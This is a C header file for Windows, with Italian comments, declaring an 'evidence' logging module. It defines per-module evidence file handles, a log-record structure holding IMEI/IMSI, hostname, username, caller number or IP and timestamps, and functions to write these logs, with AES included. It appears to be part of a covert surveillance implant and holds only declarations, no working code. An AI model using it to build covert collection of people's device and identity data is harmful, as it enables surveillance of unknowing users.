#pragma once

#include <Windows.h>

#include "..\Runtime\Runtime.h"
#include "..\common\aes.h"


#define ELEM_DELIMITER 0xABADC0DE // ?

#define MAX_EVIDENCE_HANDLES 70
#define NO_TAG_ENTRY 0xFFFFFFFF

typedef struct _EVIDENCE_HANDLE
{
	DWORD	dwModuleTag;
	HANDLE	hEvidenceFile;
} EVIDENCE_HANDLE, *PEVIDENCE_HANDLE;


typedef struct _VARIABLES_EVIDENCE
{
	EVIDENCE_HANDLE evidencesHandles[MAX_EVIDENCE_HANDLES];
	CRITICAL_SECTION evidenceHandlesCriticalSection;
} VARIABLES_EVIDENCE, *PVARIABLES_EVIDENCE;


//
// Struttura dei log file
//
// C'e' una dword in chiaro che indica: sizeof(LogStruct) + uDeviceIdLen + uUserIdLen + uSourceIdLen + uAdditionalData
typedef struct _EVIDENCE
{
#define EVIDENCE_VERSION	2008121901
	UINT uVersion;			// Versione della struttura
	UINT uLogType;			// Tipo di log
	UINT uHTimestamp;		// Parte alta del timestamp
	UINT uLTimestamp;		// Parte bassa del timestamp
	UINT uDeviceIdLength;		// IMEI/Hostname len
	UINT uUserIdLength;		// IMSI/Username len
	UINT uSourceIdLength;		// Numero del caller/IP len	
	UINT uAdditionalDataLength;	// Lunghezza della struttura addizionale, se presente
} EVIDENCE, *PEVIDENCE;

VOID EvidenceLoad(PRUNTIME* ppRuntime);

BOOL EvidenceOpenModule(PRUNTIME pRuntime, DWORD dwModuleTag);
DWORD EvidenceAddModule(PRUNTIME pRuntime, DWORD dwModuleTag, BYTE* pDataBuffer, DWORD dwDataBufferLength);
INT EvidenceWriteModule(PRUNTIME pRuntime, DWORD dwModuleTag, BYTE* pAdditionalBuffer, DWORD dwAdditionalBufferLength, BYTE* pDataBuffer, DWORD dwDataBufferLength);
VOID EvidenceCloseModule(PRUNTIME pRuntime, DWORD dwModuleTag);